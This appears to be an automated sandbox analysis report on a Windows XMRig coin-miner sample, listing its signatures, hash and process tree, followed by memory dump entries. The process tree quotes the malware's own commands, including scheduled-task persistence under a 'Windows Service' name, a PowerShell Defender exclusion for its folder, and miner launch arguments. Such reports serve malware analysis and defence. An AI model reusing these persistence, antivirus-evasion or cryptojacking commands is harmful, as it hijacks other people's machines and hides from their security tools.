Analysis
- max time kernel
39s - max time network
147s - platform
windows10_x64 - resource
win10-en-20211208 - submitted
14/01/2022, 10:43
General
- Target SecuriteInfo.com.MSIL.CoinMiner.BQC.20827.12692.exe
- Size 95KB
- Sample220114-msbbhsgaak
- SHA256 d98ec5a120292e4e1526ec0670ba57f93f3a577d93ea244412e66bf5f1e9cde7
Malware Config
Signatures
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner Payload 1 IoCs
- Downloads MZ/PE file
- Executes dropped EXE 1 IoCs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.MSIL.CoinMiner.BQC.20827.12692.exe"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.MSIL.CoinMiner.BQC.20827.12692.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 1 /tn "Windows Service" /tr "C:\Users\Admin\AppData\Roaming\Windows Folder\Windows Service.exe" /f2⤵
- Creates scheduled task(s)
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Windows Folder'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Roaming\Windows Folder\Windows Helper.exe"C:\Users\Admin\AppData\Roaming\Windows Folder\Windows Helper.exe" -o mine.bmpool.org:6004 -u 6059336 --max-cpu-usage=100 --log-file=null -p red --donate-level=1 --algo=cryptonight2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/904-136-0x00000000001D0000-0x00000000001D4000-memory.dmp
memory/904-132-0x0000000000180000-0x00000000001A0000-memory.dmp
memory/2628-385-0x00000000057E4000-0x00000000057ED000-memory.dmp
memory/2628-370-0x00000000057E9000-0x00000000057EF000-memory.dmp
memory/2628-401-0x0000000001400000-0x000000000154A000-memory.dmp
memory/2628-121-0x0000000006360000-0x00000000063C6000-memory.dmp
memory/2628-400-0x00000000057E4000-0x00000000057E9000-memory.dmp
memory/2628-399-0x00000000057EC000-0x00000000057ED000-memory.dmp
memory/2628-122-0x00000000057E0000-0x00000000057E1000-memory.dmp
memory/2628-398-0x00000000057E4000-0x00000000057ED000-memory.dmp
memory/2628-397-0x0000000001400000-0x000000000154A000-memory.dmp
memory/2628-396-0x0000000001400000-0x000000000154A000-memory.dmp
memory/2628-395-0x00000000057E4000-0x00000000057E8000-memory.dmp
memory/2628-394-0x00000000057EB000-0x00000000057ED000-memory.dmp
memory/2628-393-0x00000000057E4000-0x00000000057ED000-memory.dmp
memory/2628-392-0x0000000001400000-0x000000000154A000-memory.dmp
memory/2628-391-0x0000000001400000-0x000000000154A000-memory.dmp
memory/2628-390-0x00000000057E4000-0x00000000057ED000-memory.dmp
memory/2628-389-0x0000000001400000-0x000000000154A000-memory.dmp
memory/2628-115-0x0000000000EA0000-0x0000000000EBE000-memory.dmp
memory/2628-388-0x0000000001400000-0x000000000154A000-memory.dmp
memory/2628-386-0x00000000057EC000-0x00000000057ED000-memory.dmp
memory/2628-387-0x00000000057E4000-0x00000000057E9000-memory.dmp
memory/2628-114-0x0000000000EA0000-0x0000000000EBE000-memory.dmp
memory/2628-384-0x0000000001400000-0x000000000154A000-memory.dmp
memory/2628-378-0x0000000001400000-0x000000000154A000-memory.dmp
memory/2628-377-0x0000000001400000-0x000000000154A000-memory.dmp
memory/2628-376-0x0000000001400000-0x000000000154A000-memory.dmp
memory/2628-371-0x00000000057E7000-0x00000000057E8000-memory.dmp
memory/2628-369-0x00000000057E6000-0x00000000057E7000-memory.dmp
memory/2628-368-0x00000000057E8000-0x00000000057E9000-memory.dmp
memory/2628-366-0x00000000057E5000-0x00000000057E6000-memory.dmp
memory/2628-360-0x00000000057E3000-0x00000000057E5000-memory.dmp
memory/3512-133-0x0000000008180000-0x000000000819C000-memory.dmp
memory/3512-145-0x0000000007920000-0x0000000007F48000-memory.dmp
memory/3512-160-0x0000000004F33000-0x0000000004F34000-memory.dmp
memory/3512-359-0x0000000008830000-0x000000000884A000-memory.dmp
memory/3512-119-0x00000000034B0000-0x00000000034B1000-memory.dmp
memory/3512-361-0x0000000008820000-0x0000000008828000-memory.dmp
memory/3512-154-0x0000000009710000-0x000000000972E000-memory.dmp
memory/3512-153-0x00000000089C0000-0x0000000008A36000-memory.dmp
memory/3512-152-0x00000000086F0000-0x000000000873B000-memory.dmp
memory/3512-161-0x0000000009D70000-0x0000000009E04000-memory.dmp
memory/3512-367-0x0000000008820000-0x0000000008828000-memory.dmp
memory/3512-150-0x0000000007FC0000-0x0000000008026000-memory.dmp
memory/3512-151-0x00000000082B0000-0x0000000008316000-memory.dmp
memory/3512-147-0x0000000009730000-0x0000000009763000-memory.dmp
memory/3512-149-0x00000000078D0000-0x00000000078F2000-memory.dmp
memory/3512-148-0x000000007F740000-0x000000007F741000-memory.dmp
memory/3512-146-0x0000000009730000-0x0000000009763000-memory.dmp
memory/3512-354-0x0000000008830000-0x000000000884A000-memory.dmp
memory/3512-137-0x00000000034B0000-0x00000000034B1000-memory.dmp
memory/3512-135-0x00000000089C0000-0x0000000008A36000-memory.dmp
memory/3512-134-0x00000000086F0000-0x000000000873B000-memory.dmp
memory/3512-159-0x0000000009970000-0x0000000009A15000-memory.dmp
memory/3512-120-0x0000000004E90000-0x0000000004EC6000-memory.dmp
memory/3512-118-0x00000000034B0000-0x00000000034B1000-memory.dmp
memory/3512-129-0x0000000008320000-0x0000000008670000-memory.dmp
memory/3512-128-0x00000000082B0000-0x0000000008316000-memory.dmp
memory/3512-127-0x0000000007FC0000-0x0000000008026000-memory.dmp
memory/3512-126-0x00000000078D0000-0x00000000078F2000-memory.dmp
memory/3512-125-0x0000000004F32000-0x0000000004F33000-memory.dmp
memory/3512-124-0x0000000004F30000-0x0000000004F31000-memory.dmp
memory/3512-123-0x0000000007920000-0x0000000007F48000-memory.dmp